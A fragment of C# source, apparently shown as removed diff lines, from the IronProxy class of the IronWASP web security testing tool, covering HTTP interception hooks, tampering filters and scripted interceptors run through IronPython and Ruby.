Sess.oFlags["IronFlag-BuiltBy"].Equals("Probe") || Sess.oFlags["IronFlag-BuiltBy"].Equals("Stealth") || Config.IsSourcePresent(Sess.oFlags["IronFlag-BuiltBy"])) - { - try - { - string DictID = ""; - if (Sess.oFlags["IronFlag-BuiltBy"].Equals("Shell")) - { - try - { - IronUpdater.AddShellResponse(IrSe.Response); - DictID = Sess.oFlags["IronFlag-ID"] + "-Shell"; - } - catch (Exception Exp) - { - IronException.Report("Error handling 'Scripting Shell' Response", Exp.Message, Exp.StackTrace); - } - } - else if (Sess.oFlags["IronFlag-BuiltBy"].Equals("Probe")) - { - try - { - IronUpdater.AddProbeResponse(IrSe.Response); - DictID = Sess.oFlags["IronFlag-ID"] + "-Probe"; - } - catch (Exception Exp) - { - IronException.Report("Error handling 'Probe' Response", Exp.Message, Exp.StackTrace); - } - } - else if (Sess.oFlags["IronFlag-BuiltBy"].Equals("Stealth")) - { - try - { - DictID = Sess.oFlags["IronFlag-ID"] + "-Stealth"; - } - catch (Exception Exp) - { - IronException.Report("Error handling 'Stealth' Response", Exp.Message, Exp.StackTrace); - } - } - else if (Sess.oFlags["IronFlag-BuiltBy"].Equals("Scan")) - { - try - { - IronUpdater.AddScanResponse(IrSe.Response); - DictID = Sess.oFlags["IronFlag-ID"] + "-Scan"; - } - catch (Exception Exp) - { - IronException.Report("Error handling 'Automated Scanning' Response", Exp.Message, Exp.StackTrace); - } - } - else - { - try - { - IronUpdater.AddOtherSourceResponse(IrSe.Response); - DictID = string.Format("{0}-{1}", Sess.oFlags["IronFlag-ID"], Sess.oFlags["IronFlag-BuiltBy"]); - } - catch (Exception Exp) - { - IronException.Report(string.Format("Error handling '{0}' Response", Sess.oFlags["IronFlag-BuiltBy"]), Exp.Message, Exp.StackTrace); - } - } - //Config.APIResponseDict[DictID].SetResponse(IrSe.Response); - //Config.APIResponseDict[DictID].MSR.Set(); - } - catch (Exception MainExp) - { - IronException.Report("Error handling 'Scripting Shell/Automated Scanning/Probe' Response", MainExp.Message, MainExp.StackTrace); - } - } - } - } - - internal static void BeforeRequest(Fiddler.Session Sess) - { - if (Sess.HTTPMethodIs("Connect")) - { - if (IronProxy.UseUpstreamProxy) - { - string UpstreamProxyString = string.Format("{0}:{1}", IronProxy.UpstreamProxyIP, IronProxy.UpstreamProxyPort.ToString()); - Sess.oFlags.Add("x-overrideGateway", UpstreamProxyString); - } - if (Config.HasFiddlerFlags) - { - string[,] Flags = Config.GetFiddlerFlags(); - for (int i = 0; i < Flags.GetLength(0); i++) - { - Sess.oFlags.Add(Flags[i, 0], Flags[i, 1]); - } - } - return; - } - if(Sess.oFlags.ContainsKey("IronFlag-BuiltBy")) - { - if (Sess.oFlags["IronFlag-BuiltBy"].Equals("Stealth")) - { - if (IronProxy.UseUpstreamProxy) - { - string UpstreamProxyString = string.Format("{0}:{1}", IronProxy.UpstreamProxyIP, IronProxy.UpstreamProxyPort.ToString()); - Sess.oFlags.Add("x-overrideGateway", UpstreamProxyString); - } - if (Config.HasFiddlerFlags) - { - string[,] Flags = Config.GetFiddlerFlags(); - for (int i = 0; i < Flags.GetLength(0); i++) - { - Sess.oFlags.Add(Flags[i, 0], Flags[i, 1]); - } - } - return; - } - } - Session IrSe; - try - { - IrSe = new Session(Sess); - } - catch(Exception Exp) - { - IronException.Report("Error reading Request", Exp.Message, Exp.StackTrace); - return; - } - if (IrSe == null) - { - IronException.Report("Error reading Request", "", ""); - return; - } - if (IrSe.Request == null) - { - IronException.Report("Error reading Request", "", ""); - return; - } - if (IrSe.FiddlerSession == null) - { - IronException.Report("Error reading Request", "", ""); - return; - } - - //Needs to be turned on to read the response body - IrSe.FiddlerSession.bBufferResponse = true; - - IrSe.Request.TimeObject = DateTime.Now; - if (Sess.oFlags.ContainsKey("IronFlag-Ticks")) - { - IrSe.FiddlerSession.oFlags["IronFlag-Ticks"] = IrSe.Request.TimeObject.Ticks.ToString(); - } - else - { - IrSe.FiddlerSession.oFlags.Add("IronFlag-Ticks", IrSe.Request.TimeObject.Ticks.ToString()); - } - - //try - //{ - // Session ClonedIronSessionWithRequest = IrSe.GetClone(); - // if (ClonedIronSessionWithRequest != null && ClonedIronSessionWithRequest.Request != null) - // PassiveChecker.AddToCheckRequest(ClonedIronSessionWithRequest); - // else - // IronException.Report("IronSession Request Couldn't be cloned at ID - " + IrSe.ID.ToString(),"",""); - //} - //catch(Exception Exp) - //{ - // IronException.Report("Error Cloning IronSession in BeforeRequest", Exp.Message, Exp.StackTrace); - //} - - if (PluginEngine.ShouldRunRequestBasedPassivePlugins()) - { - try - { - PluginEngine.RunAllRequestBasedInlinePassivePlugins(IrSe); - IrSe.UpdateFiddlerSessionFromIronSession(); - } - catch (Exception Exp) - { - IronException.Report("Error running 'Inline' Passive plugins on Request", Exp.Message, Exp.StackTrace); - } - } - - - if (!IrSe.FiddlerSession.isFlagSet(Fiddler.SessionFlags.RequestGeneratedByFiddler)) - { - IrSe.ID = Interlocked.Increment(ref Config.ProxyRequestsCount); - IrSe.OriginalRequest = IrSe.Request.GetClone(true); - //IronUpdater.AddProxyRequest(IrSe.Request); - if(CanInterceptRequest(IrSe)) - { - IrSe.MSR = new ManualResetEvent(false); - InterceptedSessions.Add(IrSe.ID + "-Request", IrSe); - IrSe.FiddlerSession.state = Fiddler.SessionStates.HandTamperRequest; - IronUI.SendSessionToProxy(IrSe); - InterceptedSessions[IrSe.ID + "-Request"].MSR.WaitOne(); - InterceptedSessions.Remove(IrSe.ID + "-Request"); - - IrSe.UpdateFiddlerSessionFromIronSession(); - } - else if (ScriptedInterceptionEnabled) - { - IrSe.UpdateFiddlerSessionFromIronSession(); - } - else - { - IrSe.FiddlerSession.state = Fiddler.SessionStates.AutoTamperRequestBefore; - } - - if (ScriptedInterceptionEnabled && ScInt.CallAfterInterception) - { - try - { - ScInt.AfterInterception = true; - ScInt.ShouldIntercept(IrSe); - } - catch (Exception Exp) - { - IronUI.ShowProxyException("Error in Scripted Interception Script"); - IronException.Report("Error in Scripted Interception Script", Exp); - } - ScInt.AfterInterception = false; - IrSe.UpdateFiddlerSessionFromIronSession(); - } - - if (IronProxy.WasRequestChanged(IrSe)) - { - Request ClonedRequest = IrSe.Request.GetClone(true); - //IronUpdater.AddProxyRequestsAfterEdit(IrSe.OriginalRequest.GetClone(true), ClonedRequest); - //IronUI.UpdateEditedProxyLogRequestEntry(ClonedRequest); - IronUpdater.AddProxyRequests(new Request[] { IrSe.OriginalRequest, IrSe.Request }); - } - else - { - IronUpdater.AddProxyRequests(new Request[] { null, IrSe.Request }); - } - } - else - { - if (Sess.oFlags["IronFlag-BuiltBy"].Equals("Shell")) - { - IronUpdater.AddShellRequest(IrSe.Request); - } - else if (Sess.oFlags["IronFlag-BuiltBy"].Equals("Scan")) - { - IronUpdater.AddScanRequest(IrSe.Request); - } - else if (Sess.oFlags["IronFlag-BuiltBy"].Equals("Probe")) - { - IronUpdater.AddProbeRequest(IrSe.Request); - } - else if (Config.IsSourcePresent(Sess.oFlags["IronFlag-BuiltBy"])) - { - IronUpdater.AddOtherSourceRequest(IrSe.Request); - } - } - - - //try - //{ - // PluginStore.RunAllPassivePluginsAfterRequestInterception(IrSe); - //} - //catch (Exception Exp) - //{ - // IronException.Report("Error running 'AfterInterception' Passive plugins on Request", Exp.Message, Exp.StackTrace); - //} - - if (IronProxy.UseUpstreamProxy) - { - string UpstreamProxyString = string.Format("{0}:{1}", IronProxy.UpstreamProxyIP, IronProxy.UpstreamProxyPort.ToString()); - IrSe.FiddlerSession.oFlags.Add("x-overrideGateway", UpstreamProxyString); - } - if (Config.HasFiddlerFlags) - { - string[,] Flags = Config.GetFiddlerFlags(); - for (int i = 0; i < Flags.GetLength(0); i++) - { - IrSe.FiddlerSession.oFlags.Add(Flags[i, 0], Flags[i, 1]); - } - } - } - - internal static void BeforeResponse(Fiddler.Session Sess) - { - if (Sess.HTTPMethodIs("Connect")) return; - if (Sess.oFlags.ContainsKey("IronFlag-BuiltBy")) - { - if (Sess.oFlags["IronFlag-BuiltBy"].Equals("Stealth")) return; - } - Session IrSe; - try - { - Sess.utilDecodeResponse(); - IrSe = new Session(Sess); - } - catch(Exception Exp) - { - IronException.Report("Error reading Response", Exp.Message, Exp.StackTrace); - return; - } - if (IrSe == null) - { - IronException.Report("Error reading Response", "", ""); - return; - } - if (IrSe.Response == null) - { - IronException.Report("Error reading Response", "", ""); - return; - } - if (IrSe.FiddlerSession == null) - { - IronException.Report("Error reading Response", "", ""); - return; - } - long TTL = DateTime.Now.Ticks - IrSe.Request.TimeObject.Ticks; - IrSe.Response.TTL = (int)(TTL / 10000); - if (Sess.oFlags.ContainsKey("IronFlag-TTL")) - { - IrSe.FiddlerSession.oFlags["IronFlag-TTL"] = IrSe.Response.TTL.ToString(); - } - else - { - IrSe.FiddlerSession.oFlags.Add("IronFlag-TTL", IrSe.Response.TTL.ToString()); - } - try - { - Session ClonedIronSessionWithResponse = IrSe.GetClone(); - if (ClonedIronSessionWithResponse != null && ClonedIronSessionWithResponse.Response != null) - { - PassiveChecker.AddToCheckResponse(ClonedIronSessionWithResponse); - } - else - IronException.Report("IronSession with Response Couldn't be cloned at ID - " + IrSe.ID.ToString(), "", ""); - } - catch (Exception Exp) - { - IronException.Report("Error Cloning IronSession in BeforeRequest", Exp.Message, Exp.StackTrace); - } - - - if (!IrSe.FiddlerSession.isFlagSet(Fiddler.SessionFlags.RequestGeneratedByFiddler)) - { - //IronUpdater.AddProxyResponse(IrSe.Response); - } - - if (!IrSe.FiddlerSession.isFlagSet(Fiddler.SessionFlags.RequestGeneratedByFiddler)) - { - IrSe.Response.Host = IrSe.Request.Host; - IrSe.OriginalResponse = IrSe.Response.GetClone(true); - if(CanInterceptResponse(IrSe)) - { - IrSe.MSR = new ManualResetEvent(false); - IrSe.FiddlerSession.state = Fiddler.SessionStates.HandTamperResponse; - InterceptedSessions.Add(IrSe.ID + "-Response", IrSe); - IronUI.SendSessionToProxy(IrSe); - InterceptedSessions[IrSe.ID + "-Response"].MSR.WaitOne(); - InterceptedSessions.Remove(IrSe.ID + "-Response"); - - IrSe.UpdateFiddlerSessionFromIronSession(); - } - else if (ScriptedInterceptionEnabled) - { - IrSe.UpdateFiddlerSessionFromIronSession(); - } - else - { - IrSe.FiddlerSession.state = Fiddler.SessionStates.AutoTamperResponseBefore; - } - - - if (ScriptedInterceptionEnabled && ScInt.CallAfterInterception) - { - try - { - ScInt.AfterInterception = true; - ScInt.ShouldIntercept(IrSe); - } - catch (Exception Exp) - { - IronUI.ShowProxyException("Error in Scripted Interception Script"); - IronException.Report("Error in Scripted Interception Script", Exp); - } - ScInt.AfterInterception = false; - IrSe.UpdateFiddlerSessionFromIronSession(); - } - - if (IronProxy.WasResponseChanged(IrSe)) - { - Response ClonedResponse = IrSe.Response.GetClone(true); - //IronUpdater.AddProxyResponsesAfterEdit(IrSe.OriginalResponse.GetClone(true), ClonedResponse); - //IronUI.UpdateEditedProxyLogResponseEntry(ClonedResponse); - IronUpdater.AddProxyResponses(new Response[] { IrSe.OriginalResponse, IrSe.Response }); - } - else - { - IronUpdater.AddProxyResponses(new Response[] { null, IrSe.Response }); - } - } - - if (PluginEngine.ShouldRunResponseBasedPassivePlugins()) - { - try - { - PluginEngine.RunAllResponseBasedInlinePassivePlugins(IrSe); - IrSe.UpdateFiddlerSessionFromIronSession(); - } - catch (Exception Exp) - { - IronException.Report("Error running 'BeforeInterception' Passive plugins on Response", Exp.Message, Exp.StackTrace); - } - } - } - - internal static bool WasRequestChanged(Session Sess) - { - try - { - return !Sess.Request.ToString().Equals(Sess.OriginalRequest.ToString()); - } - catch { return true; } - } - internal static bool WasResponseChanged(Session Sess) - { - try - { - string ResStr = Sess.Response.ToString(); - string OriResStr = Sess.OriginalResponse.ToString(); - if (ResStr.Equals(OriResStr)) - { - return false; - } - else - { - return true; - } - } - catch { return true; } - } - - //internal static void UpdateCurrentSessionWithNewRequestHeader(string HeaderString) - //{ - // string NewRequestHeaders = HeaderString.TrimEnd(new char[]{'\r','\n'}); - // NewRequestHeaders += "\r\n\r\n"; - // IronProxy.CurrentSession.Request = new Request(NewRequestHeaders, IronProxy.CurrentSession.Request.SSL, false); - // IronProxy.CurrentSession.Request.ID = IronProxy.CurrentSession.OriginalRequest.ID; - // byte[] OldBody = new byte[IronProxy.CurrentSession.OriginalRequest.BodyArray.Length]; - // IronProxy.CurrentSession.OriginalRequest.BodyArray.CopyTo(OldBody, 0); - // IronProxy.CurrentSession.Request.BodyArray = OldBody; - // IronProxy.CurrentSession.FiddlerSession.oRequest.headers.AssignFromString(IronProxy.CurrentSession.Request.GetHeadersAsString()); - //} - - //internal static void UpdateFiddlerSessionWithNewRequestHeader() - //{ - // IronProxy.CurrentSession.FiddlerSession.oRequest.headers.AssignFromString(IronProxy.CurrentSession.Request.GetHeadersAsString()); - //} - - //internal static void UpdateCurrentSessionWithNewRequestBodyText(string BodyString) - //{ - // if (IronProxy.CurrentSession.Request.IsBinary) - // { - // IronProxy.CurrentSession.Request.BodyArray = Encoding.UTF8.GetBytes(BodyString); - // } - // else - // { - // IronProxy.CurrentSession.Request.BodyString = BodyString; - // } - // IronProxy.CurrentSession.FiddlerSession.utilSetRequestBody(IronProxy.CurrentSession.Request.BodyString); - //} - - //internal static void UpdateFiddlerSessionWithNewRequestBody() - //{ - // IronProxy.CurrentSession.FiddlerSession.utilSetRequestBody(IronProxy.CurrentSession.Request.BodyString); - //} - - internal static void UpdateCurrentSessionWithNewRequest(Request Req) - { - IronProxy.CurrentSession.Request = Req; - IronProxy.CurrentSession.Request.ID = IronProxy.CurrentSession.OriginalRequest.ID; - //UpdateFiddlerSessionWithNewRequest(); - } - - //internal static void UpdateFiddlerSessionWithNewRequest() - //{ - // IronProxy.CurrentSession.FiddlerSession.oRequest.headers.AssignFromString(IronProxy.CurrentSession.Request.GetHeadersAsString()); - // IronProxy.CurrentSession.FiddlerSession.requestBodyBytes = IronProxy.CurrentSession.Request.BodyArray; - //} - - //internal static void UpdateCurrentSessionWithNewResponseHeader(string HeaderString) - //{ - // string NewResponseHeaders = HeaderString.TrimEnd(new char[]{'\r','\n'}); - // NewResponseHeaders += "\r\n\r\n"; - // IronProxy.CurrentSession.Response = new Response(NewResponseHeaders); - // IronProxy.CurrentSession.Response.ID = IronProxy.CurrentSession.OriginalResponse.ID; - // IronProxy.CurrentSession.Response.BodyArray = new byte[IronProxy.CurrentSession.OriginalResponse.BodyArray.Length]; - // IronProxy.CurrentSession.OriginalResponse.BodyArray.CopyTo(IronProxy.CurrentSession.Response.BodyArray, 0); - // IronProxy.CurrentSession.FiddlerSession.oResponse.headers.AssignFromString(IronProxy.CurrentSession.Response.GetHeadersAsString()); - //} - - //internal static void UpdateCurrentSessionWithNewResponseBodyText(string BodyString) - //{ - // IronProxy.CurrentSession.Response.BodyString = BodyString; - // IronProxy.CurrentSession.FiddlerSession.utilSetResponseBody(IronProxy.CurrentSession.Response.BodyString); - //} - - internal static void UpdateCurrentSessionWithNewResponse(Response Res) - { - IronProxy.CurrentSession.Response = Res; - IronProxy.CurrentSession.Response.ID = IronProxy.CurrentSession.OriginalResponse.ID; - //UpdateFiddlerSessionWithNewResponse(); - } - - //internal static void UpdateFiddlerSessionWithNewResponse() - //{ - // IronProxy.CurrentSession.FiddlerSession.oResponse.headers.AssignFromString(IronProxy.CurrentSession.Response.GetHeadersAsString()); - // IronProxy.CurrentSession.FiddlerSession.responseBodyBytes = IronProxy.CurrentSession.Response.BodyArray; - //} - - internal static void ForwardInterceptedMessage() - { - if (IronProxy.ManualTamperingFree == true) - { - return; - } - string ID = IronProxy.CurrentSession.ID.ToString(); - if (IronProxy.CurrentSession.FiddlerSession.state == Fiddler.SessionStates.HandTamperRequest) - { - ID = ID + "-Request"; - } - else - { - ID = ID + "-Response"; - } - IronProxy.InterceptedSessions[ID].MSR.Set(); - IronUI.ResetProxyInterceptionFields(); - IronProxy.ManualTamperingFree = true; - IronProxy.CurrentSession = null; - } - - internal static void DropInterceptedMessage() - { - if (IronProxy.ManualTamperingFree == true) - { - return; - } - string ID = IronProxy.CurrentSession.ID.ToString(); - if (IronProxy.CurrentSession.FiddlerSession.state == Fiddler.SessionStates.HandTamperRequest) - { - ID = ID + "-Request"; - IronProxy.InterceptedSessions[ID].MSR.Set(); - IronProxy.CurrentSession.FiddlerSession.oRequest.FailSession(200, "OK", "Request Dropped By the User"); - } - else - { - ID = ID + "-Response"; - IronProxy.CurrentSession.FiddlerSession.utilSetResponseBody("Response Dropped By the User"); - IronProxy.CurrentSession.FiddlerSession.responseCode = 200; - IronProxy.InterceptedSessions[ID].MSR.Set(); - } - IronUI.ResetProxyInterceptionFields(); - IronProxy.ManualTamperingFree = true; - IronProxy.CurrentSession = null; - } - - internal static void ClearRequestQueue() - { - List IronProxySessionsQ = new List(); - List IronProxyRequestQ = new List(); - List IronProxyResponseQ = new List(); - lock (IronProxy.SessionsQ) - { - IronProxySessionsQ = new List(IronProxy.SessionsQ.ToArray()); - IronProxy.SessionsQ.Clear(); - } - foreach (string SessionID in IronProxySessionsQ) - { - if (SessionID.EndsWith("-Request")) - { - IronProxyRequestQ.Add(SessionID); - } - else - { - IronProxyResponseQ.Add(SessionID); - } - } - lock (IronProxy.InterceptedSessions) - { - foreach(string SessionID in IronProxyRequestQ) - { - IronProxy.InterceptedSessions[SessionID].MSR.Set(); - } - } - lock (IronProxy.SessionsQ) - { - foreach (string SessionID in IronProxyResponseQ) - { - IronProxy.SessionsQ.Enqueue(SessionID); - } - } - } - - internal static void ClearResponseQueue() - { - List IronProxySessionsQ = new List(); - List IronProxyRequestQ = new List(); - List IronProxyResponseQ = new List(); - lock (IronProxy.SessionsQ) - { - IronProxySessionsQ = new List(IronProxy.SessionsQ.ToArray()); - IronProxy.SessionsQ.Clear(); - } - foreach (string SessionID in IronProxySessionsQ) - { - if (SessionID.EndsWith("-Response")) - { - IronProxyResponseQ.Add(SessionID); - } - else - { - IronProxyRequestQ.Add(SessionID); - } - } - lock (IronProxy.InterceptedSessions) - { - foreach (string SessionID in IronProxyResponseQ) - { - IronProxy.InterceptedSessions[SessionID].MSR.Set(); - } - } - lock (IronProxy.SessionsQ) - { - foreach (string SessionID in IronProxyRequestQ) - { - IronProxy.SessionsQ.Enqueue(SessionID); - } - } - } - - static bool CanInterceptRequest(Session Sess) - { - if (ScriptedInterceptionEnabled) - { - try - { - return ScInt.ShouldIntercept(Sess); - } - catch(Exception Exp) - { - IronUI.ShowProxyException("Error in Scripted Interception Script"); - IronException.Report("Error in Scripted Interception Script", Exp); - return false; - } - } - else if (InterceptRequest) - { - return CanInterceptBasedOnFilter(Sess.Request); - } - else - { - return false; - } - } - - internal static bool CanInterceptBasedOnFilter(Request Req) - { - //Check Hostnames - if (InterceptCheckHostNames) - { - if (InterceptCheckHostNamesPlus && InterceptHostNames.Count > 0) - { - bool Match = false; - foreach (string HostName in InterceptHostNames) - { - if (Req.Host.Equals(HostName, StringComparison.InvariantCultureIgnoreCase)) - { - Match = true; - break; - } - } - if (!Match) - { - return false; - } - } - if (InterceptCheckHostNamesMinus && DontInterceptHostNames.Count > 0) - { - foreach (string HostName in DontInterceptHostNames) - { - if (Req.Host.Equals(HostName, StringComparison.InvariantCultureIgnoreCase)) - { - return false; - } - } - } - } - - //Check Methods Rule - if (!InterceptGET) - { - if (Req.Method.Equals("GET", StringComparison.CurrentCultureIgnoreCase)) - { - return false; - } - } - if (!InterceptPOST) - { - if (Req.Method.Equals("POST", StringComparison.CurrentCultureIgnoreCase)) - { - return false; - } - } - if (!InterceptOtherMethods) - { - if (!(Req.Method.Equals("GET", StringComparison.CurrentCultureIgnoreCase) || Req.Method.Equals("POST", StringComparison.CurrentCultureIgnoreCase))) - { - return false; - } - } - - //Check File Extensions - Req.StoredFile = Req.File; - if (InterceptCheckFileExtensions && Req.StoredFile.Length > 0) - { - if (InterceptCheckFileExtensionsPlus && InterceptFileExtensions.Count > 0) - { - bool Match = false; - foreach (string File in InterceptFileExtensions) - { - if (Req.StoredFile.Equals(File, StringComparison.InvariantCultureIgnoreCase)) - { - Match = true; - break; - } - } - if (!Match) - { - return false; - } - } - if (InterceptCheckFileExtensionsMinus && DontInterceptFileExtensions.Count > 0) - { - foreach (string File in DontInterceptFileExtensions) - { - if (Req.StoredFile.Equals(File, StringComparison.InvariantCultureIgnoreCase)) - { - return false; - } - } - } - } - - //Check Keyword - if (InterceptCheckRequestWithKeyword) - { - if (InterceptCheckRequestWithKeywordPlus && InterceptRequestWithKeyword.Length > 0) - { - if (!Req.ToString().Contains(InterceptRequestWithKeyword)) - { - return false; - } - } - if (InterceptCheckRequestWithKeywordMinus && DontInterceptRequestWithKeyword.Length > 0) - { - if (Req.ToString().Contains(DontInterceptRequestWithKeyword)) - { - return false; - } - } - } - return true; - } - - static bool CanInterceptResponse(Session Sess) - { - if (ScriptedInterceptionEnabled) - { - try - { - return ScInt.ShouldIntercept(Sess); - } - catch (Exception Exp) - { - IronUI.ShowProxyException("Error in Scripted Interception Script"); - IronException.Report("Error in Scripted Interception Script", Exp); - return false; - } - } - else if (InterceptResponse) - { - return CanInterceptBasedOnFilter(Sess.Request, Sess.Response); - } - else - { - return false; - } - } - - internal static bool CanInterceptBasedOnFilter(Request Req, Response Res) - { - if (RequestRulesOnResponse) - { - if (!CanInterceptBasedOnFilter(Req)) return false; - } - - //Check Hostnames - if (InterceptCheckHostNames) - { - if (InterceptCheckHostNamesPlus && InterceptHostNames.Count > 0) - { - bool Match = false; - foreach (string HostName in InterceptHostNames) - { - if (Res.Host.Equals(HostName, StringComparison.InvariantCultureIgnoreCase)) - { - Match = true; - break; - } - } - if (!Match) - { - return false; - } - } - if (InterceptCheckHostNamesMinus && DontInterceptHostNames.Count > 0) - { - foreach (string HostName in DontInterceptHostNames) - { - if (Res.Host.Equals(HostName, StringComparison.InvariantCultureIgnoreCase)) - { - return false; - } - } - } - } - - //Check Methods Rule - int Code = Res.Code; - switch (Code) - { - case 200: - if (!Intercept200) - return false; - break; - case 301: - case 302: - if (!Intercept301_2) - return false; - break; - case 403: - if (!Intercept403) - return false; - break; - case 500: - if (!Intercept500) - return false; - break; - default: - if (Code > 199 && Code < 300) - { - if (!Intercept2xx) - return false; - } - else if (Code > 299 && Code < 400) - { - if (!Intercept3xx) - return false; - } - else if (Code > 399 && Code < 500) - { - if (!Intercept500) - return false; - } - else if (Code > 499 && Code < 600) - { - if (!Intercept5xx) - return false; - } - break; - } - - if (Res.BodyLength > 0) - { - if (Res.ContentType.ToLower().Contains("html")) - { - if (!InterceptHTML) return false; - } - else if (Res.ContentType.ToLower().Contains("css")) - { - if (!InterceptCSS) return false; - } - else if (Res.ContentType.ToLower().Contains("javascript")) - { - if (!InterceptJS) return false; - } - else if (Res.ContentType.ToLower().Contains("xml")) - { - if (!InterceptXML) return false; - } - else if (Res.ContentType.ToLower().Contains("json")) - { - if (!InterceptJSON) return false; - } - else if (Res.ContentType.ToLower().Contains("text")) - { - if (!InterceptOtherText) return false; - } - else if (Res.ContentType.ToLower().Contains("jpg") || Res.ContentType.ToLower().Contains("png") || Res.ContentType.ToLower().Contains("jpeg") || Res.ContentType.ToLower().Contains("gif") || Res.ContentType.ToLower().Contains("ico")) - { - if (!InterceptImg) return false; - } - else - { - if (!InterceptOtherBinary) return false; - } - } - - //Check Keyword - if (InterceptCheckResponseWithKeyword) - { - if (InterceptCheckResponseWithKeywordPlus && InterceptResponseWithKeyword.Length > 0) - { - if (!Res.ToString().Contains(InterceptResponseWithKeyword)) - { - return false; - } - } - if (InterceptCheckResponseWithKeywordMinus && DontInterceptResponseWithKeyword.Length > 0) - { - if (Res.ToString().Contains(DontInterceptResponseWithKeyword)) - { - return false; - } - } - } - - return true; - } - - internal static bool CanDisplayRowInLogDisplay(string Method, string Host, string FileExtension, int Code, string ContentType, bool IgnoreContentType) - { - if (Method != null) - { - if (!DisplayGET) - { - if (Method.Equals("GET", StringComparison.CurrentCultureIgnoreCase)) - { - return false; - } - } - if (!DisplayPOST) - { - if (Method.Equals("POST", StringComparison.CurrentCultureIgnoreCase)) - { - return false; - } - } - if (!DisplayOtherMethods) - { - if (!(Method.Equals("GET", StringComparison.CurrentCultureIgnoreCase) || Method.Equals("POST", StringComparison.CurrentCultureIgnoreCase))) - { - return false; - } - } - } - if (Host != null) - { - if (DisplayCheckHostNames) - { - if (DisplayCheckHostNamesPlus && DisplayHostNames.Count > 0) - { - bool Match = false; - foreach (string HostName in DisplayHostNames) - { - if (Host.Equals(HostName, StringComparison.InvariantCultureIgnoreCase)) - { - Match = true; - break; - } - } - if (!Match) - { - return false; - } - } - if (DisplayCheckHostNamesMinus && DontDisplayHostNames.Count > 0) - { - foreach (string HostName in DontDisplayHostNames) - { - if (Host.Equals(HostName, StringComparison.InvariantCultureIgnoreCase)) - { - return false; - } - } - } - } - } - if (FileExtension != null) - { - if (DisplayCheckFileExtensions && FileExtension.Length > 0) - { - if (DisplayCheckFileExtensionsPlus && DisplayFileExtensions.Count > 0) - { - bool Match = false; - foreach (string File in DisplayFileExtensions) - { - if (FileExtension.Equals(File, StringComparison.InvariantCultureIgnoreCase)) - { - Match = true; - break; - } - } - if (!Match) - { - return false; - } - } - if (DisplayCheckFileExtensionsMinus && DontDisplayFileExtensions.Count > 0) - { - foreach (string File in DontDisplayFileExtensions) - { - if (FileExtension.Equals(File, StringComparison.InvariantCultureIgnoreCase)) - { - return false; - } - } - } - } - } - if (Code > 0) - { - switch (Code) - { - case 200: - if (!Display200) - return false; - break; - case 301: - case 302: - if (!Display301_2) - return false; - break; - case 403: - if (!Display403) - return false; - break; - case 500: - if (!Display500) - return false; - break; - default: - if (Code > 199 && Code < 300) - { - if (!Display2xx) - return false; - } - else if (Code > 299 && Code < 400) - { - if (!Display3xx) - return false; - } - else if (Code > 399 && Code < 500) - { - if (!Display500) - return false; - } - else if (Code > 499 && Code < 600) - { - if (!Display5xx) - return false; - } - break; - } - } - if (ContentType != null && !IgnoreContentType) - { - if (ContentType.ToLower().Contains("html")) - { - if (!DisplayHTML) return false; - } - else if (ContentType.ToLower().Contains("css")) - { - if (!DisplayCSS) return false; - } - else if (ContentType.ToLower().Contains("javascript")) - { - if (!DisplayJS) return false; - } - else if (ContentType.ToLower().Contains("xml")) - { - if (!DisplayXML) return false; - } - else if (ContentType.ToLower().Contains("json")) - { - if (!DisplayJSON) return false; - } - else if (ContentType.ToLower().Contains("text")) - { - if (!DisplayOtherText) return false; - } - else if (ContentType.ToLower().Contains("jpg") || ContentType.ToLower().Contains("png") || ContentType.ToLower().Contains("jpeg") || ContentType.ToLower().Contains("gif") || ContentType.ToLower().Contains("ico")) - { - if (!DisplayImg) return false; - } - else - { - if (!DisplayOtherBinary) return false; - } - } - return true; - } - - - internal static string SetPyScriptedInterception(string FunctionCode) - { - ScriptEngine Engine = Python.CreateEngine(); - StringBuilder FullCode = new StringBuilder(); - FullCode.AppendLine("from IronWASP import *"); - FullCode.AppendLine("import re"); - FullCode.AppendLine("class si(ScriptedInterceptor):"); - FullCode.AppendLine(" def ShouldIntercept(self, sess):"); - string[] CodeLines = FunctionCode.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); - foreach (string Line in CodeLines) - { - FullCode.Append(" "); - FullCode.AppendLine(Line); - } - FullCode.AppendLine(" return False"); - FullCode.AppendLine(""); - FullCode.AppendLine(""); - FullCode.AppendLine("s = si();"); - FullCode.AppendLine("IronProxy.SetScriptedInterceptor(s)"); - return SetScriptedSend(Engine, FullCode.ToString()); - } - - internal static string SetRbScriptedInterception(string FunctionCode) - { - ScriptEngine Engine = Ruby.CreateEngine(); - StringBuilder FullCode = new StringBuilder(); - FullCode.AppendLine("include IronWASP"); - FullCode.AppendLine("class SI < ScriptedInterceptor"); - FullCode.AppendLine(" def ShouldIntercept(sess)"); - string[] CodeLines = FunctionCode.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); - foreach (string Line in CodeLines) - { - FullCode.Append(" "); - FullCode.AppendLine(Line); - } - FullCode.AppendLine(" return false"); - FullCode.AppendLine(" end"); - FullCode.AppendLine("end"); - FullCode.AppendLine(""); - FullCode.AppendLine("s = SI.new"); - FullCode.AppendLine("IronProxy.set_scripted_interceptor(s)"); - return SetScriptedSend(Engine, FullCode.ToString()); - } - - internal static string SetScriptedSend(ScriptEngine Engine, string Code) - { - try - { - ScriptRuntime Runtime = Engine.Runtime; - Assembly MainAssembly = Assembly.GetExecutingAssembly(); - string RootDir = Directory.GetParent(MainAssembly.Location).FullName; - Runtime.LoadAssembly(MainAssembly); - Runtime.LoadAssembly(typeof(String).Assembly); - Runtime.LoadAssembly(typeof(Uri).Assembly); - - if (Engine.Setup.DisplayName.Contains("IronPython")) - { - string[] Results = PluginEditor.CheckPythonIndentation(Code); - if (Results[1].Length > 0) - { - throw new Exception(Results[1]); - } - } - - ScriptSource Source = Engine.CreateScriptSourceFromString(Code); - Source.ExecuteProgram(); - return ""; - } - catch (Exception Exp) - { - return Exp.Message; - } - } - public static void SetScriptedInterceptor(ScriptedInterceptor ScIn) - { - IronProxy.ScInt = ScIn; - } - - - internal static void ResetChangedStatus() - { - ResetNonParameterChangedStatus(); - ResetParametersChangedStatus(); - RequestChanged = false; - ResponseChanged = false; - } - internal static void ResetNonParameterChangedStatus() - { - RequestHeaderChanged = false; - RequestBodyChanged = false; - ResponseHeaderChanged = false; - ResponseBodyChanged = false; - } - internal static void ResetParametersChangedStatus() - { - RequestQueryParametersChanged = false; - RequestBodyParametersChanged = false; - RequestCookieParametersChanged = false; - RequestHeaderParametersChanged = false; - } - - //internal static void StartDeSerializingRequestBody(Request Request, FormatPlugin 